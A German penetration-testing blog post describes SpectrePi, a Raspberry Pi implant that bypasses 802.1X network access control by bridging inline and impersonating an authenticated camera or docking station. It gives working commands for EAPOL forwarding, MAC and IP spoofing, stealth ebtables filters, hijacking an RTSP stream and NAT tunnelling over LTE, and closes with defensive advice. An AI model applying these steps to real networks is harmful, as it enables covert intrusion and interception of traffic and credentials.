Analyse des npm-Supply-Chain-Angriffs
Die Analyse der kürzlich aufgetretenen npm Supply Chain Attack zeigt, was die Angreifer erreichen wollten und wieso diese Angriffe verheerend sein...
Dank SpectrePi, einem physischen Gerät im Netzwerk, kann ein Angreifer am 802.1X NAC vorbeikommen. Besonders interessant ist dieser Angriffsvektor für Unternehmen, die Geräte ausserhalb ihrer gesicherten Räume betreiben, wie z.B. Überwachungskameras.
Ein Netzwerkgerät im Empfangsbereich, eine Kamera im Aussenbereich, eine Dockingstation an einem Shared Workplace: Für viele Network- und System-Engineers ist diese Angriffsfläche mit 802.1X erledigt. Wer kein autorisiertes Gerät hat, kommt nicht ins Netzwerk.
In einem aktuellen Physical Penetration Test haben wir genau diese Annahme geprüft und ein eigenes Gerät unbemerkt zwischen Switch und Endgerät gehängt. Das Endgerät blieb online, die 802.1X-Authentifizierung lief unverändert weiter, und parallel dazu kommunizierte unser Implantat SpectrePi im Corporate Network unter identischer Identität.
Wir haben 802.1X dabei nicht grundsätzlich geknackt. Aber wir haben die bereits authentifizierte Verbindung eines vertrauenswürdigen Endgeräts unbemerkt mitbenutzt. 802.1X schützt den Verbindungsaufbau, jedoch nicht jedes einzelne Netzwerkpaket danach. Wer physischen Zugriff auf ein Kabel hat, kann den freigeschalteten Pfad mitbenutzen, ohne eine eigene Identität (IP- und MAC-Adresse) vorzuweisen.

SpectrePi wurde im Rahmen eines autorisierten Tests an zwei Stellen platziert:
Das Ziel war in beiden Fällen dasselbe: zuerst als vollständig transparentes Kabelstück unauffällig bleiben, danach unter der Identität des Endgeräts aktiv kommunizieren und schliesslich einzelne Dienste vom Endgerät übernehmen. Das legitime Gerät musste dabei wie gewohnt weiterlaufen. Nur der kurze Ausfall im Netzwerk wäre der schnellste Weg zur Entdeckung gewesen.
Bei 802.1X sind drei Rollen beteiligt: der Supplicant (Kamera, Notebook), der Authenticator (Switch-Port) und der Authentication Server (RADIUS). Supplicant und Switch tauschen dafür EAPOL-Frames aus. Erst nach erfolgreicher Prüfung gibt der Switch den Port frei.
SpectrePi sitzt als Layer-2-Bridge zwischen beiden und leitet diese EAPOL-Frames transparent weiter. Aus Sicht des Switches authentifiziert sich weiterhin das echte Endgerät. Aus Sicht des Endgeräts und des Switches ist SpectrePi nur ein Kabel. Ein zusätzlicher Teilnehmer wird vorerst nicht bemerkt.
Nach der Freigabe ist der Datenverkehr aber nicht kryptografisch an das authentifizierte Gerät gebunden. Genau in dieser Lücke arbeitet das Inline-Implantat. Es braucht keine Authentifizierung, weil es die vorhandene Identität mitbenützt.
802.1X bleibt eine wichtige Zugangskontrolle. Es verhindert, dass sich ein beliebiges Gerät an einer freien Netzwerkdose anmeldet. Der Test zeigt jedoch auch die Grenze dieser Kontrolle. Nach erfolgreicher Authentifizierung ist der freigegebene Ethernet-Link ohne zusätzliche kryptografische Absicherung nicht automatisch vor einem eingeschleiften Gerät geschützt. Deshalb braucht es mehrere, aufeinander abgestimmte Schutzebenen:
Die Installation von SpectrePi haben wir auf GitHub unter https://github.com/avantguard-cyber-security-ag/SpectrePi veröffentlicht. Das System wurde für einen Raspberry Pi 4 oder 5 mit zwei Ethernet-Schnittstellen sowie einem unabhängigen LTE-Internet-/WireGuard-Zugang für den Einstz im Red Teaming entwickelt.
Im Standardbetrieb verhält sich SpectrePi als transparente Layer-2-Brücke zwischen einem Netzwerk-Switch und einem Endgerät, beispielsweise einer Netzwerkkamera, einer Dockingstation oder einer Workstation. Anschliessend ermöglicht SpectrePi die Beobachtung und Analyse des Netzwerkverkehrs, das Nachbilden der Identität des Endgeräts, das gezielte Weiterleiten ausgewählter Datenströme sowie die Übernahme einzelner Dienste eines Endgeräts.
Grundlage dieser Arbeit war das Open-Source-Projekt PhantomPi mit dem zugehörigen technischen Beitrag zum Bridge-Modus. Für unseren Einsatz war es allerdings in der einen Richtung zu viel und in der anderen zu wenig.
Zu viel: automatische Netzwerkanalyse, Discord- und KI-Anbindung, zusätzliche C2-Funktionen. Als Red Teamer wollen wir genau wissen, welche Pakete unser Implantat erzeugt – eine manuelle Anleitung ist uns lieber als ein Konfigurationsskript, das im Hintergrund Entscheidungen trifft.
Zu wenig für einen Einsatz, bei dem unbemerkt mitkommuniziert werden soll:
Das aktuelle Projekt bildet diesen schlanken Ansatz mit drei bewusst kleinen Skripten ab: initial_setup.sh konfiguriert das System und installiert den Bridge-Service, setup_bridge.sh erstellt die transparente Bridge samt MAC-Filtern nach jedem Neustart und setup_virtual_interfaces.sh aktiviert manuell die gespoofte Identität samt Source-Port-Trennung. Die reproduzierbare Grundinstallation steht in INSTALL.md. Traffic-Capture, Routing und Port-Übernahme sind in der Operations-Anleitung zusammengeführt. Des Weiteren empfehlen wir den Einsatz des verschlüsselten LUKS-Vaults, um sensible Daten wie abgehörten Netzwerkverkehr verschlüsselt auf dem SpectrePi zu speichern.
Die folgenden Abschnitte zeigen, welche technischen Probleme bei diesem Angriff auftreten und wie wir diese lösen.
Bei der Dockingstation genügt ein zusätzlicher USB-Ethernet-Adapter, um einen Raspberry Pi dazwischenzuschalten. Eine Kamera hängt dagegen an einem einzigen Kabel, das Daten und Strom überträgt.
Ein gewöhnliches PoE-HAT reicht dafür nicht aus. Es versorgt nur das Implantat, nicht das nachgelagerte Endgerät. Der Aufbau trennt deshalb den Strom vor SpectrePi auf und führt diesen am Ende wieder zusammen:
PoE-Splitter – stellt Ethernet und Versorgungsspannung getrennt bereit.
DC/DC-Wandler – reduziert die Spannung auf 5 V für den Raspberry Pi.
Bridge – der Datenpfad läuft über die beiden Interfaces des Pi.
PoE-Injektor – führt Daten und Strom für die Kamera wieder zusammen.

Die Kamera erhält damit weiterhin Netzwerk und Strom. Gleichzeitig durchläuft jeder Ethernet-Frame den Raspberry Pi.
Als Basis für den Raspberry Pi wurde Kali Linux verwendet. Dabei wurden folgende drei Netzwerkschnittstellen verwendet:
eth0 -> Switch / Corporate Network
eth1 -> Inline-Endgerät (Kamera, Dockingstation)
wan1 -> LTE-Modul für den Zugang vom Operator

Damit der Kernel die USB-Adapter nach jedem Neustart gleich benennt, wurden die physischen Ports über udev fest zugeordnet. Diese wurden mit udevadm info -a /sys/class/net/ethX ermittelt und in /etc/udev/rules.d/10-persistent-net.rules eingetragen:
SUBSYSTEM=="net", ACTION=="add", SUBSYSTEMS=="usb", DRIVERS=="?*", KERNELS=="1-1.3", NAME="wan1"
Zusätzlich wird net.ifnames=0 biosdevname=0 in /boot/firmware/cmdline.txt gesetzt, damit die predictable names von systemd das Mapping nicht überschreiben. Beide Bridge-Interfaces werden als unmanaged markiert, damit kein DHCP-Request oder automatischer Reconnect Pakete mit falscher Identität erzeugt.
Die Bridge selbst ist unspektakulär – bis auf zwei Details:
ip addr flush dev eth0
ip addr flush dev eth1
ip link add br0 type bridge
ip link set br0 type bridge stp_state 0
ip link set eth0 master br0
ip link set eth1 master br0
ip link set br0 up
echo 8 > /sys/class/net/br0/bridge/group_fwd_mask # EAPOL durchlassen
brctl setageing br0 0 # FDB-Einträge altern nicht
group_fwd_mask 8 ist der entscheidende Wert für 802.1X. Linux-Bridges leiten Zieladressen aus dem Bereich 01:80:C2:00:00:xx standardmässig nicht weiter, weil sie für lokale Kontrollprotokolle reserviert sind. EAPOL verwendet 01:80:C2:00:00:03. Ohne diese Maske erreichen EAPOL-Start, Request/Identity und die Keying-Nachrichten die Gegenseite nicht und die NAC-Authentifizierung schlägt dadurch fehl.
setageing 0 deaktiviert nicht das Lernen, sondern das Altern gelernter FDB-Einträge. Ein Eintrag läuft nicht mehr ab. Für die passive Zwei-Port-Bridge ist das unproblematisch. Sobald SpectrePi und das echte Endgerät dieselbe MAC-Adresse verwenden, darf diese Adresse aber keinem einzelnen Port zugeordnet bleiben. Deshalb wird das Learning beim Aktivieren der virtuellen Identität explizit ausgeschaltet.
Persistenz übernimmt ein systemd-Service, der das Bridge-Skript nach jedem Neustart ausführt. Dieser passive Bridge-Zustand ist der definierte Ausgangspunkt für jede Operation mit SpectrePi. Spoofing der Identität, zusätzliche Routen, Port-Übernahmen sowie NAT über WireGuard werden dagegen erst zur Laufzeit vom Operator manuell gesetzt.
Im reinen Bridge-Modus kann SpectrePi nicht selbst im Corporate-Netzwerk kommunizieren. Mitgeschnitten wird trotzdem. Da solche Aufzeichnungen Credentials und Personendaten enthalten können, speichern wir den Traffic in einem LUKS-Container.
vault-open
sudo tcpdump -i eth0 -nn -s 0 -U -w /home/kali/secure/capture-manual.pcap
'-nn' deaktiviert die Auflösung von Host- und Portnamen, wodurch zusätzlicher Netzwerkverkehr vermieden wird. '-s 0' erfasst Pakete vollständig, ohne sie abzuschneiden. '-U' schreibt die Pakete unmittelbar in die Ausgabedatei, sodass der Mitschnitt laufend aktualisiert wird. Mit '-w' wird der Datenverkehr im PCAP-Format in die angegebene Datei geschrieben. Die Aufzeichnungsdatei kann anschliessend über den separaten WireGuard-Verwaltungskanal vom Operator abgeholt und ausgewertet werden.
Aus dem aufgezeichneten Traffic werden die Parameter des Endgeräts wie IP, Subnetzmaske, MAC und Gateway abgeleitet. Auch können hier bereits eingesetzte unsichere Protokolle identifiziert und möglicherweise unsichere Authentifizierungen erkannt werden.
Mit den gewonnenen Parametern aus dem Traffic kann das Skript setup_virtual_interfaces.sh manuell ausgeführt werden. Dabei entsteht ein veth-Paar. veth0 hängt in der Bridge, veth1 trägt die Identität des Endgeräts und ist der Layer-3-Endpunkt für den einzuschleusenden Traffic:
ip link add veth0 type veth peer name veth1
ip link set veth0 up
brctl addif br0 veth0
ip link set dev veth1 address $SPOOFED_MAC
ip addr add $SPOOFED_IP/24 dev veth1
ip link set veth1 up
bridge link set dev eth0 learning off
bridge link set dev eth1 learning off
bridge link set dev veth0 learning off
bridge fdb flush br br0 dynamic
Das explizit deaktivierte Learning sorgt dafür, dass unbekannte Unicast-Frames geflutet werden. Erst die folgenden Protokoll- und Source-Port-Filter entscheiden, wer sie bekommt. Ageing und Learning sind dabei zwei verschiedene Bridge-Mechanismen. Durch mehrere manuellen Regeln und ein übersteuertes Source-Port-Mapping wird verhindert, dass der SpectrePi das echte Endgerät stört.
Mit identischer IP und MAC und geflutetem Verkehr erreicht jedes Paket beide Systeme. Konkret:
Bei UDP entsteht derselbe Effekt in Form der ICMP-Meldung „Port Unreachable“. Das ist der Punkt, an dem ein einfaches Bridge-Setup für einen Red-Team-Einsatz nicht genügt. Alle RSTs und ICMP-Fehler pauschal zu blockieren, ist keine solide Lösung. Die Trennung muss deshalb sauber durch den Source-Port erfolgen.
Zuerst wird der lokale Kernel auf einen eigenen dynamischen Bereich beschränkt:
sysctl -w net.ipv4.ip_local_port_range="20000 30000"
Danach trennen Bridge-Filter die beiden Verkehrsströme in die richtige Richtung:
# Antworten auf unseren Bereich erreichen das Endgerät nicht
ebtables -A FORWARD -i eth0 -o eth1 -p IPv4 --ip-proto tcp --ip-dport 20000:30000 -j DROP
ebtables -A FORWARD -i eth0 -o eth1 -p IPv4 --ip-proto udp --ip-dport 20000:30000 -j DROP
# Pakete des Endgeräts aus unserem Bereich gelangen nicht ins Corporate Network
ebtables -A FORWARD -i eth1 -o eth0 -p IPv4 --ip-proto tcp --ip-sport 20000:30000 -j DROP
ebtables -A FORWARD -i eth1 -o eth0 -p IPv4 --ip-proto udp --ip-sport 20000:30000 -j DROP
# Antworten für das Endgerät erreichen unser virtuelles Interface nicht
ebtables -A FORWARD -i eth0 -o veth0 -p IPv4 --ip-proto tcp --ip-dport 30001:65535 -j DROP
ebtables -A FORWARD -i eth0 -o veth0 -p IPv4 --ip-proto udp --ip-dport 30001:65535 -j DROP
20000–30000 ist kein universeller Wert. Überlappt der Bereich mit den Ports, die das Endgerät tatsächlich nutzt, blockiert man dessen Verbindungen. Bei der PCAP-Analyse aus Phase 1 sollte dies daher auch geprüft werden.
Trotz gespoofter Identität können Treiber, Multicast, IPv6 oder automatisch gestartete Discovery-Dienste Frames mit den echten Adressen des Pi oder des USB-Adapters erzeugen. Ein einziges solches Paket genügt, um in einem NAC- oder Monitoring-System aufzufallen.
Die eigenen Hardware-Adressen werden deshalb sowohl für lokal erzeugte als auch für weitergeleitete Frames auf beiden physischen Interfaces verworfen:
BLOCK_MAC_1="$(cat /sys/class/net/eth0/address)"
BLOCK_MAC_2="$(cat /sys/class/net/eth1/address)"
BLOCK_MAC_3="$(cat /sys/class/net/br0/address)"
for MAC in "$BLOCK_MAC_1" "$BLOCK_MAC_2" "$BLOCK_MAC_3"; do
ebtables -A OUTPUT -o "$IFACE_COMPANY" -s "$MAC" -j DROP
ebtables -A FORWARD -o "$IFACE_COMPANY" -s "$MAC" -j DROP
ebtables -A OUTPUT -o "$IFACE_TARGET" -s "$MAC" -j DROP
ebtables -A FORWARD -o "$IFACE_TARGET" -s "$MAC" -j DROP
done
Ergänzend wird IPv6 vollständig deaktiviert (/etc/sysctl.d/70-disable-ipv6.conf), da Router Solicitations und Neighbor Discovery eine zweite Identität offenlegen könnten. Gleiches gilt für nicht benötigte Dienste. Die Regel dahinter ist einfach: Auf dem Corporate-Port darf kein Frame erscheinen, der nicht die Identität des Endgeräts hat.
Grundsätzlich muss darauf geachtet werden, dass ein Port nicht zeitgleich von beiden Systemen erreichbar ist. Daher empfiehlt es sich, den Dienst hinter dem Ziel-Port erst auf einem anderen Port vorzubereiten. Dies kann z. B. die Bildübernahme einer Kamera sein. Soll etwa der RTSP-Stream der Kamera übernommen werden, wird der Port temporär vom Endgerät abgeschirmt und lokal bedient:
ebtables -A FORWARD -i eth0 -o eth1 -p IPv4 --ip-proto tcp --ip-dport 554 -j DROP
socat TCP4-LISTEN:554,bind=$SPOOFED_IP,reuseaddr,fork TCP4:127.0.0.1:8554
Auf 8554 läuft ein lokaler RTSP-Server, der einen mit ffmpeg erzeugten Ersatzstream ausliefert. Dasselbe Muster funktioniert auch für HTTP/HTTPS/SMB, um z. B. Authentifizierungsversuche einzusammeln.
SpectrePi nutzt LTE mit einem WireGuard-Tunnel für die Kommunikation per SSH. Soll der Operator direkt durch den Tunnel auf das Corporate Network zugreifen, kommen IPv4-Forwarding und NAT über das gespoofte Interface hinzu. TCP und UDP werden dabei in denselben reservierten Source-Port-Bereich übersetzt, um die Kommunikation vom Endgerät nicht zu stören:
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -s 10.254.252.2/32 -d 0.0.0.0/0 -o veth1 -p tcp -j MASQUERADE --to-ports 20000-30000 --random-fully
sudo iptables -t nat -A POSTROUTING -s 10.254.252.2/32 -d 0.0.0.0/0 -o veth1 -p udp -j MASQUERADE --to-ports 20000-30000 --random-fully
sudo iptables -t nat -A POSTROUTING -s 10.254.252.2/32 -d 0.0.0.0/0 -o veth1 -j MASQUERADE
Der Verkehr des Operators erscheint intern also unter der übernommenen IP und MAC des Endgeräts. Auf der Operator-Seite gehören ausschliesslich die gewünschten Zielnetze in die WireGuard-Einstellung AllowedIPs und in eine manuell gesetzte Route:
sudo wg set wg_spectrepi peer $SPECTREPI_PUBLIC_KEY allowed-ips "10.254.252.1/32,$ZIELNETZWERK"
sudo ip route replace $ZIELNETZWERK dev wg_spectrepi
Der Bridge-Aufbau selbst ist in wenigen Zeilen erledigt. Aufwändig ist der stabile, unauffällige Parallelbetrieb zweier Geräte mit einer Identität. EAPOL-Weiterleitung, MAC-Learning, TCP-RSTs, ICMP-Fehler, überlappende Source-Ports, Multicast und Hardware-Adressen sind alles Fehlerquellen, durch die das Endgerät gestört oder das Implantat im Netzwerk verraten werden kann.
Für Unternehmen bleibt die Konsequenz einfach. NAC entscheidet, wer einen Port öffnen darf. Ob danach wirklich nur dieses Gerät kommuniziert, ist eine zweite Frage. Diese wird durch Netzwerk-Segmentierung, Monitoring, physische Sicherheit und Verschlüsselung beantwortet.
Wer für sein Unternehmen prüfen möchte, was bei einem NAC Bypass für einen Angreifer möglich ist, kann gerne mit uns in Kontakt treten.
Die Analyse der kürzlich aufgetretenen npm Supply Chain Attack zeigt, was die Angreifer erreichen wollten und wieso diese Angriffe verheerend sein...
Warum NTLMv1 unsicher ist und zwei der häufigsten Angriffsvektoren: Brute-Force-Angriffe (insbesondere Rainbow-Table-Angriffe) und Relaying-Angriffe.
Ein Blogbeitrag über mögliche Angriffe auf KeePass in der Standardkonfiguration und Härtungsmassnahmen.